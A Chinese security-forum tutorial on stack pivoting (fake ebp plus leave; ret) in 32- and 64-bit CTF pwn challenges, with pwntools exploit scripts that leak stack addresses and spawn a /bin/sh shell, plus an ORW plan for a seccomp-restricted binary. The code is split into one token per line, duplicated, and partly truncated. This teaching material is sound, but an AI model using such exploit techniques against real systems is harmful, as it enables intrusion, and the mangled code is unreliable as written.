-
-
[原创][原创]frame faking 栈迁移的理解 和 例题详解(含图示)
-
发表于: 2021-4-8 18:37 10388
-
原理:
leave_ret:
栈迁移大概流程图:
关键点:ebp实际上是个寄存器
看程序关键部分
这里还有个后面函数 所以这里调用了system 所以我们在后面也可以使用system
0x28太小不足以用一些好的 ROP
我们如果把0x28 全填充为A 栈上的布局如图
而printf %s 要遇见'\0' 才会终止 所以我们可以通过printf 泄露出ebp的地址
从而伪造ebp 实现栈迁移
我们先设计一下exp
这里流程是 read 结束后 要leave_ret 此时 ebp -> fake_ebp_addr
又将会执行一次 leave_ret(即我们放进去的 leave_ret)
因为第二次 leave_ret 同样要 pop ebp,pop ebp 后 ebp=’AAAA'
同样要esp=esp+4,所以前四个字节填’AAAA‘
system_plt 放在buf+4的地址
完成pop ebp 后 esp -> system_plt
然后程序会 按照我们栈布局的内容执行,从而getshell
exp:
payload 解释:
fake_ebp:
GDB得到buf_address = 0xffffce20
得到ebp 指向的地址 [ebp]=0xffffce58
所以我们只要把泄露出的ebp -0x38 就让程序流程从布局好的buf段上执行
检查保护:
NX enabled,FULL RELRO
再进IDA 看看程序流程
这里count是个检查 不好反复栈溢出 main 只能跳一次
这里选择通过伪造ebp 通过栈转移 进而控制程序执行流程
这里可以溢出大小为 0x40-0x28=0x18
因为我们每次只能读入0x40 个字节 所以payload要分开写
payload1:
这里payload1 刚好大小0x40
我们先找到一段可以写的bss段 然后把bss+0x500地址作为fake_ebp
fake_ebp就是我们新的stack起始
通过把return_address 地址覆盖为read_plt 进而调用read 向新的stack 写入我们的payload2
gdb 跟一下:
跟到第一个read后发现ebp 已经被我们虚假fake_ebp覆盖了(buf_addr 就是找到bss段+0x500)
马上程序会执行第个read (1)
第read(1) 读入puts.plt , 因为没有现成的system函数可以调用,这里选择通过puts泄露libc基址
泄露后继续利用read(2) 读入 system 地址和'/bin/sh' 从而实现get shell
因为我们要跳到我们填system_address 的地址上所以fake_ebp2=bss+0x400=read(2)读入数据存放地址
当read(2)结束后通过leave_ret 跳到bss+0x400上 进而执行system("/bin/sh")
payload2:
payload3:
图示栈布局程序流程:
exp 如下
exp 中的pop_ebx_ret 是为了弹出在栈上的puts_got 好正常执行 read(0,bss+0x400,0x100)
因为read 的参数是由栈上获取的
题目下载地址:
https://github.com/hebtuerror404/CTF_competition_warehouse_2020_First/trunk/ROP_LEVEL2
get_shell 或者 orw 得到 flag
原理和x86的栈迁移的原理一致都是通过 制造fake ebp 来将栈转移到我们布置的地址空间上,
从而控制程序执行流程
区别:x64要通过gadget 填入参数
先看保护:
NX enabled
main function:
发现 可以向buf 地址写内容
有两个read 第一个read 可以读0x100 且是向buf地址写内容(buf 在bss段上)
所以我们可以把栈布局 在buf上 然后通过第二个read 制造一个fake ebp 从而实现栈迁移
把栈执行流程转移到我们之前布局的地址上
这里还发现有seccomp 禁用了execve()
所以这里就通过orw 来直接读flag了
因为这里利用gadget,所以我们先寻找gadget,我们发现rdi 和 rsi 都可以控制,但是rdx不行
后话:(这里调试发现rdx参数是之前read的0x60无影响)
这里我们选择利用libc_csu_init 通用gadget 来控制参数,刚好就利用栈迁移+orw+libc_csu_init 通用gadget
利用总结:
section 1:
open(buf_address,0)
通过libc_csu_init 填入参数 把'./flag' 放在buf_addr 开头
利用csu_end 里的call来执行
section 2:
section1 执行完后由于我们控制rbx==rbp==1 所以不跳转 但是要rsp=rsp+8
这里用'A' * 8 来填充栈 使后面填充的参数正确对应
填充read(fd,address,size)=read(0x4,bss_stage,0x20) , (bss_stage)是读的flag放置的位置
用0x38 作为libc_csu_init gadget利用的结尾平衡栈
section 3:
利用puts打印flag
前0x50 用"A"填充 利用我们布局的栈地址覆盖用原来的 ebp ,利用leave_ret 实现栈转移
完整exp:
####补充 本地复现需要自己创建一个flag 文件和 some_life_experience文件
https://bbs.pediy.com/thread-258030.htm
leave:
move esp,ebp;
pop ebp;(esp
=
esp
+
4
)
leave:
move esp,ebp;
pop ebp;(esp
=
esp
+
4
)
ret:
pop eip;
ret:
pop eip;
from
pwn
import
*
arch
=
32
challenge
=
"./ciscn_s_4"
local
=
int
(sys.argv[
1
])
context(log_level
=
"debug"
,os
=
"linux"
)
if
local:
io
=
process(challenge)
#libc = ELF("./libc.so.6")
elf
=
ELF(challenge)
else
:
io
=
remote(
'node3.buuoj.cn'
,
25839
)
#libc = ELF("./libc.so.6")
elf
=
ELF(challenge)
if
arch
=
=
64
:
context.arch
=
'amd64'
if
arch
=
=
32
:
context.arch
=
'i386'
p
=
lambda
: pause()
s
=
lambda
x : success(x)
re
=
lambda
x : io.recv(x)
ru
=
lambda
x : io.recvuntil(x)
rl
=
lambda
: io.recvline()
sd
=
lambda
x : io.send(x)
sl
=
lambda
x : io.sendline(x)
itr
=
lambda
: io.interactive()
sla
=
lambda
a, b : io.sendlineafter(a, b)
sa
=
lambda
a, b : io.sendafter(a, b)
def
dbg():
gdb.attach(io)
pause()
system
=
elf.plt[
'system'
]
leave_ret
=
0x080485FD
#pwnlib.gdb.attach(proc.pidof(io)[0])
payload1
=
'A'
*
0x24
+
'a'
*
4
ru(
'name?'
)
sd(payload1)
ru(
'aaaa'
)
ebp
=
u32(re(
4
).ljust(
4
,
'\x00'
))
print
'epb:'
+
(
hex
(ebp))
fake_ebp
=
ebp
-
0x38
payload2
=
'AAAA'
+
p32(system)
+
'AAAA'
+
p32(fake_ebp
+
16
)
+
'/bin/sh\x00'
payload2
+
=
'A'
*
(
0x28
-
len
(payload2))
+
p32(fake_ebp)
+
p32(leave_ret)
sd(payload2)
pause()
itr()
pause()
from
pwn
import
*
arch
=
32
challenge
=
"./ciscn_s_4"
local
=
int
(sys.argv[
1
])
context(log_level
=
"debug"
,os
=
"linux"
)
if
local:
io
=
process(challenge)
#libc = ELF("./libc.so.6")
elf
=
ELF(challenge)
else
:
io
=
remote(
'node3.buuoj.cn'
,
25839
)
#libc = ELF("./libc.so.6")
elf
=
ELF(challenge)
if
arch
=
=
64
:
context.arch
=
'amd64'
if
arch
=
=
32
:
context.arch
=
'i386'
p
=
lambda
: pause()
s
=
lambda
x : success(x)
re
=
lambda
x : io.recv(x)
ru
=
lambda
x : io.recvuntil(x)
rl
=
lambda
: io.recvline()
sd
=
lambda
x : io.send(x)
sl
=
lambda
x : io.sendline(x)
itr
=
lambda
: io.interactive()
sla
=
lambda
a, b : io.sendlineafter(a, b)
sa
=
lambda
a, b : io.sendafter(a, b)
def
dbg():
gdb.attach(io)
pause()
system
=
elf.plt[
'system'
]
leave_ret
=
0x080485FD
#pwnlib.gdb.attach(proc.pidof(io)[0])
payload1
=
'A'
*
0x24
+
'a'
*
4
ru(
'name?'
)
sd(payload1)
ru(
'aaaa'
)
ebp
=
u32(re(
4
).ljust(
4
,
'\x00'
))
print
'epb:'
+
(
hex
(ebp))
fake_ebp
=
ebp
-
0x38
payload2
=
'AAAA'
+
p32(system)
+
'AAAA'
+
p32(fake_ebp
+
16
)
+
'/bin/sh\x00'
payload2
+
=
'A'
*
(
0x28
-
len
(payload2))
+
p32(fake_ebp)
+
p32(leave_ret)
sd(payload2)
pause()
itr()
pause()
offset
=
0xffffce58
-
0xffffce20
=
0x38
offset
=
0xffffce58
-
0xffffce20
=
0x38
rgzz@ubuntu:~
/
work
/
stack
/
pivoting$ checksec migration
[
*
]
'/home/rgzz/work/stack/pivoting/migration'
Arch: i386
-
32
-
little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (
0x8048000
)
rgzz@ubuntu:~
/
work
/
stack
/
pivoting$ checksec migration
[
*
]
'/home/rgzz/work/stack/pivoting/migration'
Arch: i386
-
32
-
little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (
0x8048000
)
payload1
=
flat([
0x28
*
'A'
,bss
+
0x500
,read_plt, leave_ret,
0
,bss
+
0x500
,
0x100
])
payload1
=
flat([
0x28
*
'A'
,bss
+
0x500
,read_plt, leave_ret,
0
,bss
+
0x500
,
0x100
])
payload2
=
flat([bss
+
0x400
,puts_plt
,pop_ebx_ret
,puts_got
,read_plt
,leave_ret
,
0
,bss
+
0x400
,
0x100
])
payload2
=
flat([bss
+
0x400
,puts_plt
,pop_ebx_ret
,puts_got
,read_plt
,leave_ret
,
0
,bss
+
0x400
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!